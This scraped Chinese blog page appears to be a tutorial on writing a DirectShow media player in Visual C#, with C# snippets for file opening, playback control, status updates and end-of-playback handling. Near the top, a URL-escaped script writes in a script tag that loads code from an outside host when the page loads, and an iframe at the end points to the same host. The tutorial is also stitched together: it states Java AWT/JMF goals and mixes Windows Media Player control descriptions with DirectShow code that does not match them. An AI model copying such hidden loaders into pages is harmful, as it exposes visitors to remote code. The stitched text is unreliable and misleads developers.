利用Visual C#开发一个媒体播放器

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
利用Visual C#开发一个媒体播放器








利用
Visual C#
开发一个媒体播放器






 





 





 





           





 



 
















 





摘要:
了解如何在
Microsoft Visual C# .NET
中使用
DirectShow
控件,如何开发一个媒体播放器。按照本文介绍的操作步骤,您可以创建一个简单
Visual C#
应用
程序
,用来播放数字音频和视频。

  






 





 





简介
  
Microsoft Visual C#
是世界上最流行的编程语言,利用
Visual C#
的最新版本
Visual C# .NET
,您能够快速、有效地开发基于
Windows
窗体的应用
程序
,还可以为嵌入了
Microsoft Windows Media? Player 9 Series ActiveX
控件的应用
程序
添加新鲜、有趣而又非常实用的功能。
  
DirectShow
控件是一个标准的
ActiveX
控件,提供了大量的功能。
DirectShow
控件提供的功能包括:

  
·
数字媒体
文件
和流媒体的高级播放功能。     
  
·
使用播放列表的功能。

  
·
播放
DVD

CD
的功能。

  
·
访问
Windows Media Player
中的
Media Library
(媒体库)。

  
·
处理元数据的功能。

  
·
支持字幕。

  
·
支持多种语言的音频。

  
·
控制
网络
连通性和访问相关统计信息的功能。

  下面我们来看看构造这个媒体播放器要达到什么样的目标,确定了目标也就确定了代码量和
程序
的复杂程度。本文的媒体播放器要达到如下目标:
  
·
是一个菜单驱动的简单
AWT
应用。

  
·
包含一个

文件

菜单,
文件
菜单包含三个菜单项:

  
· “
打开

,用来打开媒体
文件


  
· “
循环

,是播放一次(默认),还是重复播放。

  
· “
退出

,退出
程序


  
·
可以在多种平台上运行。

  
·
核心功能通过
JMF

Java Media Framework

API
实现。
  按照本文介绍的步骤,您将创建一个基于
Windows
窗体的基本应用
程序
,并在其中嵌入
Player
控件。您创建的示例应用
程序
具有如下特点:

  
·
创建
DirectShow
控件的一个实例。

  
·
利用
Windows Media Player
主互操作
程序
集提供组件对象模型
(COM)
互操作性。

  
·
允许用户打开并播放
Windows Media
文件
,尤其是
文件
扩展名为
.wma

.wmv

文件


  
·
创建供用户播放、暂停和停止数字媒体内容的传输控制按钮。

  
·
显示当前数字媒体
文件
的标题。

  
·
演示如何使用
Player
对象模型,包括使用属性、方法和事件的示例。

  我的这个
程序
仅仅只是告诉大家如何用
DirectShow

C#
中做一个播放机
,
  在这个
程序
中我们经要解决的一些小问题
:
  
1.
如何从你的磁盘上打开媒体
文件
  
2.
如何让工具条上的按钮起用和禁用
  
3.
如何设置状态栏的显示文字
  
4.
如何控制时间 
  
5.
如何使用时间控件的事件
 
  
6.
如何用
DirectShow
来播放媒体
文件
  
7.
如何确定播放状态等等
...
  下图显示了您将要创建的应用
程序
,其中正在播放名为
“Melow”
的数字音频
文件
,同时呈现了可视化效果。







1






  
·
本文假设您已经具备一定的
Visual C#

Visual Studio.NET
集成开发环境知识。

  
准备工作
  在开始创建应用
程序
之前,您需要安装必要的软件并注册主互操作
程序

(QuartzTypeLib)

  这里简单介绍
DirectShow
接口:
  播放视屏和声音
文件
我们要用到
DiectX
为我们提供的
DirectShow
组件
.
使用这个接口可以让你方便的播放那些共用的影像和声音
文件
.
你要做的仅仅只是安装
DirectShow
接口和使用它的功能函数和配置正确的接口参数而已
.
  不幸的是
.NET
并不正式支持
DirectX.
是的也许你听说
DirectX9
支持是吗
?
是的
,
不过在最终版敲定的那一天还没来
,
我们都得不到最好的效果
.
但无论如何我们还是要用的不是吗
?
要不这篇文章得作废了
.
是的
,
也许你用过
VB
,
对了
,
就是它
,
我们正是要用到那个
.
  
开始项目
  在安装必要软件并注册
QuartzTypeLib
之后,您就可以启动
Visual C#
,开始为示例应用
程序
创建项目。下面我将给大家介绍这一过程的操作步骤。
  
创建项目
  按以下步骤创建一个空的项目:

  
1.
启动
Visual Studio .NET
,然后单击
New Project
(新建项目)。

  
2.

Visual C# Projects

Visual C#
项目)
文件
夹中单击
Windows Application

Windows
应用
程序
),键入新项目的名称(最好为
DirectShow
),然后单击
OK
(确定)。

  
Visual C#
使用默认的
Windows
窗体
“Form
1”
创建一个新的项目。

  
3.
这个名称并没有特别的意义或用处,所以请在
Properties
(属性)窗口中将窗体名称更改为
frmPlayMedia
,将窗体文本更改为

媒体播放器



  在项目中添加对
DirectShow
的引用
  按照以下步骤在项目中添加一个对
DirectShow
的引用:

  
1.
打开
Visual Studio
工具箱,然后单击
Components
(组件)显示该面板。

  
2.
右击面板,然后单击
Customize Toolbox
(自定义工具箱),显示对话框。

  
3.

COM Components

COM
组件)选项卡上,选中
Interop.QuartzTypeLib.dll
。(如果
Interop.QuartzTypeLib.dll
由于某种原因未列出,则单击
Browse [
浏览
]
并查找名为
QuartzTypeLib.dll

文件
。)

  
4.
单击
OK
(确定)关闭对话框。








2






  要在代码中使用
DirectShow
,您需要添加一行代码,以引用
DirectShow
命名空间。在窗体代码窗口的顶部,将以下代码添加到所有声明语句之前:






using QuartzTypeLib;






  
using
语句必须在所有
Options
语句(本项目中并未使用)之后,并且在所有其他代码之前。添加该语句后。
  
开发应用
程序
  创建通过
PIA

Framework
连接的
Player
控件实例之后,您可以向窗体中添加所需的其他元素,并编写完成实际操作的代码。
添加
Windows
窗体控件
  
1.

View
(视图)菜单中,单击
Designer
(设计器),或者单击
Solution Explorer
(解决方案资源管理器)中的
View Designer
(视图设计器)按钮,切换到窗体设计器。

  
2.
在窗体上增加
文件
、播放、信息等菜单。
  
3.
在工具箱的
Windows Forms

Windows
窗体)面板中,为您的窗体添加一个工具栏、一个状态栏和图片
imageList


  
4.

Properties
(属性)窗口中,将工具栏的名称更改为
toolBar1
,将在
Buttons
上增加
4
个按钮。状态栏的名称更改为
statusBar1,
并分别增加三个
Panel


  
5.
在工具箱的面板中,为您的窗体添加一个面版
panel1

  
6.
增加一个定时器
timer1

  
7.
调整控件在窗体中的排列方式,使之符合您的需要而且方便用户使用。下图为
Visual Studio Designer
(设计器)中完成后的窗体布局。








3






  
编写代码
  如何打开你想要媒体
文件
?
  第一步是编写在
frmPlayMedia
中打开
Windows Media
文件
的代码。要自动切换到
Code
(代码)视图并编辑打开菜单的
Click
事件处理
程序
(menuItem2_Click)
的代码,请双击窗体上的

工具栏

按钮。将以下代码添加到事件处理
程序
中:
  还记得吗
"
文件
->
打开
..."
是的几乎每个使用
windows
的人都会这样操作
.
如何实现
?
  很简单看看下面的代码
:






OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "Media Files|*.mpg;*.avi;*.wma;*.mov;*.wav;*.mp2;*.mp3|All Files|*.*";
if (DialogResult.OK == openFileDialog.ShowDialog())
{
….
}






  看吧很简单是吗?记得写一个函数把它放进去。当你点击
OK
按钮的时候,
DirectShow
接口就会得到你想要播放的
文件
。下图解释了它是如何工作的。
  
DirectShow
为多媒体流回放提供最基本的服务,这些多媒体流可以是本地
文件
,还可以是
服务器
传输过来的。特别的,
DirectShow
可以支持视频回放,支持以不同的
文件
和流格式压缩视频内容,包括
Windows Media

MPEG

AVI

WAV


  在
DirectShow
的核心处,服务是组件的模块化集合,称为过滤器,可以根据媒体类型排列成过滤器图。过滤器可以操作数据流,如读入、分析、解码、格式化或渲染。

  过滤器以树型进行排列,这棵树称为过滤器树,通过过滤器树管理器(
Filter Graph Manager
,简称
FGM)
进行管理。使用
FGM
应用
程序
可以通过使用
Microsoft Windows Media Player
控件间接控制过滤器树,还可以通过调用
COM
接口方法直接控制。
DirectShow
过滤器树(参阅图
1)
由从源到目标渲染器的有向过滤器序列组成,所有这些通过输入和输出过滤器引脚连接。过滤器引脚协商它们将支持哪些媒体类型。
FGM
控制树过滤器之间的多媒体数据流。因为
DirectShow
有一个灵活的、可重配置的过滤器树体系结构,因此
DirectShow
可以使用同样的软件成分支持多种媒体类型的回放和分流。开发人员还可以通过编写自己的过滤器扩展
DirectShow
多媒体支持。

  
过滤器

  过滤器是注册的
DirectShow
类,它执行许多媒体信息处理任务。这些任务包括:

   获得源信息
(
例如,获得媒体流
)
   分析
(
例如,在流上执行包读入、分离和格式化
)
   转换
(
例如,解码
WMA

MPEG-4
音频和视频流
)
   渲染
(
例如,在适当的时候产生音频
PCM
或者视频
RGB/YUV
输出,将数据传给
DirectSound

DirectDraw)
  过滤器使用几种类型的接口,例如引脚、计数器、传送器和时钟接口,来执行它们的任务。过滤器实现和开放了许多接口。
FGM
可以使用这些接口创建、连接和控制树。过滤器经常实现包含下列方法的
IBaseFilter
接口:

   运行、停止和暂停过滤器状态。

   恢复过滤器和厂商信息。

   得到和设置参考时钟。

   恢复过滤器状态信息。

   枚举过滤器引线。

   重建过滤器树时定位引脚
  用户单击

打开

时,这段代码将显示一个对话框,供用户在计算机上浏览并选择要播放的
.wma

.wmv
文件
。用户选择
文件
(并单击

确定

)时,代码将
Player

URL
属性设置为用户选择的
文件
。由于
Player

autoStart
属性在默认情况下设置为
True
,所以
Player
立即打开并播放用户选择的数字媒体
文件

  接下来,添加播放
/
暂停按钮的代码。在代码窗口中,在停止、暂停菜单中单击,然后,在方法名称列表中单击
Click
。将以下代码添加到
Visual C#
为您创建的
Click
事件处理
程序
中:
  看看下面的代码是如何实现的:






CleanUp();
m_objFilterGraph = new FilgraphManager();
m_objFilterGraph.RenderFile(openFileDialog.FileName);
m_objBasicAudio = m_objFilterGraph as IBasicAudio;
try
{
 
m_objVideoWindow = m_objFilterGraph as IVideoWindow;
 
m_objVideoWindow.Owner = (int) panel1.Handle;
 
m_objVideoWindow.WindowStyle = WS_CHILD | WS_CLIPCHILDREN;
 
m_objVideoWindow.SetWindowPosition(panel1.ClientRectangle.Left,
 
panel1.ClientRectangle.Top,
 
panel1.ClientRectangle.Width,
 
panel1.ClientRectangle.Height);
}
catch (Exception ex)
{
 
m_objVideoWindow = null;
}
m_objMediaEvent = m_objFilterGraph as IMediaEvent;
m_objMediaEventEx = m_objFilterGraph as IMediaEventEx;
m_objMediaEventEx.SetNotifyWindow((int) this.Handle, WM_GRAPHNOTIFY, 0);
m_objMediaPosition = m_objFilterGraph as IMediaPosition;
m_objMediaControl = m_objFilterGraph as IMediaControl;
//
如何来播放
,
暂停
,
停止
?
简单这些函数看字面也知道
.
//
m_objMediaControl.Run();//
播放
m_objMediaControl.Pause();//
暂停
m_objMediaControl.Stop();//
停止

//
这段代码非常简单。当用户单击播放
/
暂停按钮时,代码将检查
Player

playState
属性。如果
Player
正在播放数字媒体
文件
,代码就会暂停
文件
的播放; 如果
Player
已经暂停或停止,代码就再次启动
Player
播放
文件

OK,
在来看我们是如何控制时间进度的
?
//
private void timer1_Tick(object sender, System.EventArgs e)
{
 
if (m_CurrentStatus == MediaStatus.Running)
 
{
  
UpdateStatusBar();
 
}
}






  看见上面那个
UpdateStatusBar();
这里是让它没
100ms
更新一次状态栏
.
  代码如下
:






private void UpdateStatusBar()
{
 
switch (m_CurrentStatus)
 
{
  
case MediaStatus.None : statusBarPanel1.Text = "Stopped"; break;
  
case MediaStatus.Paused : statusBarPanel1.Text = "Paused "; break;
  
case MediaStatus.Running: statusBarPanel1.Text = "Running"; break;
  
case MediaStatus.Stopped: statusBarPanel1.Text = "Stopped"; break;
 
}
 
if (m_objMediaPosition != null)
 
{
  
int s = (int) m_objMediaPosition.Duration;
  
int h = s / 3600;
  
int m = (s - (h * 3600)) / 60;
  
s = s - (h * 3600 + m * 60);
  
statusBarPanel2.Text = String.Format("{0:D2}:{1:D2}:{2:D2}", h, m, s);
  
s = (int) m_objMediaPosition.CurrentPosition;
  
h = s / 3600;
  
m = (s - (h * 3600)) / 60;
  
s = s - (h * 3600 + m * 60);
  
statusBarPanel3.Text = String.Format("{0:D2}:{1:D2}:{2:D2}", h, m, s);
 
}
 
else
 
{
  
statusBarPanel2.Text = "00:00:00";
  
statusBarPanel3.Text = "00:00:00";
 
}
}






  还有一个问题
程序
怎么能够知道它播放完了
?
  这会有点麻烦了,想想看有什么办法呢?对了,
windows
是消息驱动的。那找找看有什么消息。有的就
EC_COMPLETE
。还记得
"WndProc"
它吗?是的,我的老朋友,这次我们必须要改写它来捕获
EC_COMPLETE
消息。这个消息是
DirectShow
通知父窗体,播放结束了。






protected override void WndProc(ref Message m)
{
 
if (m.Msg == WM_GRAPHNOTIFY)
 
{
  
int lEventCode;
  
int lParam1, lParam2;
  
while (true)
  
{
   
try
   
{
    
m_objMediaEventEx.GetEvent(out lEventCode,out lParam1,out lParam2,0);
    
m_objMediaEventEx.FreeEventParams(lEventCode, lParam1, lParam2);
    
if (lEventCode == EC_COMPLETE)
    
{
     
m_objMediaControl.Stop();
     
m_objMediaPosition.CurrentPosition = 0;
     
m_CurrentStatus = MediaStatus.Stopped;
     
UpdateStatusBar();
     
UpdateToolBar();
    
}
   
}
   
catch (Exception)
   
{
    
break;
   
}
  
}
 
}
 
base.WndProc(ref m);
}






  只要播放状态改变,上述代码就会运行。如果
Player
正在播放(用户打开
文件
时就处于播放状态,因为
autoStart
设置为
True
),代码将启用播放
/
暂停按钮和停止按钮,以便用户执行操作。之后,代码将播放
/
暂停按钮的文字更改为

暂停

,这样用户就可以使用该按钮暂停播放过程。最后,代码检索当前数字媒体
文件
的标题,并更新标题标签的文字以显示标题。
  如果
Player
被暂停(用户单击了播放
/
暂停按钮),代码会将播放
/
暂停按钮的文字更改为

播放

,以提示用户使用该按钮可以恢复播放。
  如果
Player
被停止(用户单击了停止按钮),代码将禁用停止按钮(因
Player
已经停止工作)并将播放
/
暂停按钮的文字恢复为默认值

播放


  一切都结束了
,
现在要做的事就是做些来找一部影片来享受一下自己的成果了
.
  编写完示例项目的代码之后,您可以生成并运行解决方案。
  
生成解决方案
  在
Build
(生成)菜单中单击
Build Solution
(生成解决方案)。
Visual Studio
开始编译并生成项目。如果键入内容全部正确,生成过程将顺利完成,不会出现任何错误。如果生成报告错误,则请检查您的代码并纠正错误。
  使用示例应用
程序
  要在调试器中运行项目,请按键盘上的
F5
键。如果出现

查看生成的代码

主题中介绍的未处理的异常,则应该停止调试会话,删除或注释掉生成代码中的相应行,然后再按
F5
键。
  您可以单击

打开

查找
.wma

.wmv
文件
(究竟选择何种
文件
,取决于您在

打开

对话框中选择的
文件
类型)。选择某个
文件
并单击

确定

之后,

打开

对话框关闭,开始播放数字媒体
文件
,传输控制按钮的状态也随之改变。这时您就可以利用传输控制按钮来暂停、重新开始或完全停止播放。









 
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值